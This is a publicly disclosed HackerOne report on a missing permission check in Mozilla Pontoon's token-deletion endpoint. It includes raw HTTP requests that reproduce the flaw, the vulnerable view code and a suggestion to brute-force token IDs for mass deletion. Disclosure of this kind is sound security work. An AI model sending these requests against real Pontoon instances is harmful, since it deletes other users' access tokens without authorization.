HexBrain

Mozilla · Report #3325582

User Can Delete Other Users' Personal Access Tokens at /delete-token/{token_id}/ on Mozilla Pontoon

Validstatus
lowseverity
38upvotes
10 Apr 2026disclosed

How it was found

Hi team, while reviewing the Mozilla Pontoon source code, I have found that a new feature has been added to Generate and Delete Personal Access Tokens for the Rest API. To Delete a token, a user sends a POST request to /delete-token/{token_id}/ endpoint with the numeric token ID. The developer forgot to put a check on user permissions at this endpoint, which allows a user to delete anyone's Personal Access Token.

Steps To Reproduce:

  • Log in to your Victim account at https://mozilla-pontoon-staging.herokuapp.com/.

  • On the top right corner, click on your profile icon and from the dropdown menu, click on settings.

███████

  • Prepare your proxy, like Burp Suite, to capture incoming requests and change your display name.

████

  • In proxy history, you will find a POST request to the /settings endpoint.

███████

  • Copy your cookies and csrfmiddlewaretoken from that request.

███████

  • Replace the cookies , csrfmiddlewaretoken, and use this request.
POST /generate-token/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {your cookies here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

csrfmiddlewaretoken={your csrf token here}&name=adil
  • Upon sending the request, you will get your personal access token details in response.

████

  • Note the new_token_id.

  • Now log in to your attacker account and repeat the same steps to get your attacker account cookies and csrfmiddlewaretoken.

  • Replace your Attacker Cookies, csrfmiddlewaretoken, and Victim token id that you have noted in the above step in this request.

POST /delete-token/{Victim Token Id Here}/ HTTP/1.1
Host: mozilla-pontoon-staging.herokuapp.com
Cookie: {Attacker Cookies Here}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://mozilla-pontoon-staging.herokuapp.com/settings/
Content-Type: application/x-www-form-urlencoded
Content-Length: 94
Origin: https://mozilla-pontoon-staging.herokuapp.com
Dnt: 1
Upgrade-Insecure-Requests: 1
X-Requested-With: XMLHttpRequest
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

csrfmiddlewaretoken={Attacker CSRF Token Here}
  • Upon sending this request, you will get a 200 OK response with a Token Successfully Deleted message.

███

  • Here is the code responsible for this vulnerability.

Link: https://github.com/mozilla/pontoon/blob/main/pontoon/contributors/views.py#L505-L523

def delete_token(request, token_id):
    try:
        token = PersonalAccessToken.objects.get(id=token_id)
        token.delete()

        return JsonResponse(
            {
                "status": "success",
                "message": "Token deleted successfully!",
            }
        )

    except PersonalAccessToken.DoesNotExist:
        return JsonResponse(
            {"status": "error", "message": "Token not found."}, status=404
        )
  • You can see that this code isn't checking for user permission.

Impact

An attacker can use a Brute Force tool, such as Burp Intruder, to delete a massive amount of tokens.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original